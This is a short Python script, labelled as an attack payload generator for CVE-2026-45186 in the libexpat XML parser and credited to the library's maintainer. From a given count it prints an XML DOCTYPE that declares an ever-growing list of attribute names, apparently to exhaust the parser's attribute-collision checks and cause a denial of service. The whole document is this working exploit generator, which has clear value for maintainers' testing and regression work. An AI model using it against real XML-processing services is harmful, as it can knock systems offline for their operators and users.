CVE-2026-45186 libexpat attack payload generator (use responsibly)

attribute_collision_check_payload_2.py

# Copyright (c) 2026 Sebastian Pipping <sebastian@pipping.org>
# Original idea by Nick Wellnhofer
# SPDX-License-Identifier: MIT

import argparse
import string

parser = argparse.ArgumentParser()

parser.add_argument("times", metavar="COUNT", type=int)

config = parser.parse_args()


def name(n: int) -> str:
    alphabet: str = string.digits + string.ascii_letters + '.-' + '_:'
    modulus: int = len(alphabet)

    res = []

    while n >= modulus:
        res.append(alphabet[n % modulus])
        n = n // modulus

    res.append(alphabet[n])

    res.append("a")  # to ensure a name

    return "".join(reversed(res))


attributes: str = " ".join(f'{name(i)} CDATA ""' for i in range(config.times))

print("<!DOCTYPE d [")
print("  <!ATTLIST e " + attributes + ">")
print("]>")
print("<d/>")